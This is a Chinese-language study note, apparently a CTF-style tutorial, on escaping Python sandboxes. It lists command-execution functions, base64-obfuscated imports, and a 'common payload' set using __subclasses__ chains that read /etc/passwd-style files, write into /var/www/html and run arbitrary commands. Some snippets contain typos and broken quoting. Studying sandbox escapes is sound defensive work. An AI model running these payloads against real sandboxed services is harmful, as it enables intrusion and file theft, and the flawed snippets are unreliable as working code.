0%

Python沙箱逃逸学习笔记

定义

所谓的 Python 沙盒,即以一定的方法模拟(socat) Python 终端,实现用户对 Python 的使用。

逃逸方法

  • Python内建函数中有些函数能够执行shell命令,导致任意代码执行。
  os.system() 
  os.popen()
  commands.getstatusoutput() 
  commands.getoutput()
  commands.getstatus()
  subprocess.call(command, shell=True) 
  subprocess.Popen(command, shell=True)
  pty.spawn()
  • Python中导入模块的方法
import xxx
form xx import *
__import__('xxx')

​ 我们可以通过上述方法导入相关模块再调用相关函数导致命令执行。除此之外,我们也可以通过路径引入模块,例如linux系统中Python os的路径一般都是/usr/lib/python2.7/os.py,当知道路径的时候就可以通过如下操作导入操作模块。进一步调用相关函数。

>>> import sys
>>> sys.modules['os']='/usr/lib/python2.7/os.py'
>>> import os
>>>
  • 其他危险函数

    1. execfile文件执行
>>> execfile('/usr/lib/python2.7/os.py')
>>> system('cat /etc/passwd')
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
>>> getcwd()
'/usr/lib/python2.7'

​ 2.timeit

import timeit
timeit.timit("__import__('os').system('dir')",number=1)

​ 3.eval和exec

eval('__import__('os').system("dir")')

​ 4.platform

import platform
print platform.popen('dir').read()
  • Python内建函数

当我们不能导入模块,或者想要导入的模块被禁,那么我们只能寻求 Python 本身内置函数(即通常不用人为导入,Python 本身默认已经导入的函数)。我们可以通过可以通过 dir __builtin__ 来获取内置函数列表

>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', .....

在Python中一个模块是由字典对象实现命名空间的,例如:m.x等同于m.dic[“x”].那么我们可以直接通过dic引入我们想要的模块(其作用为列出一个模组/类对象下面的属性和函数)。

绕过实例:

>>>__builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64'))
>>> import base64
>>> base64.b64encode('__import__')
'X19pbXBvcnRfXw=='
>>> base64.b64encode('os')
'b3M

如果一些 内敛函数在 *builtins** 删除 ,我们可以通过 reload(builtins) 重新载入获取一个完整的 builtins*

  • 创建对象以及引用

Python中的object类集成了许多基础函数,我们想要调用的时候也是可以直接创建对象进而引用。

常见方法:

().__class__.bases__[0]
''.__class__.mro__[2]
读取文件:
print ().__class__.__bases__[0].__subclasses__()[40]("/etc/services").read()

常见payload:

#读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()

#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

#执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )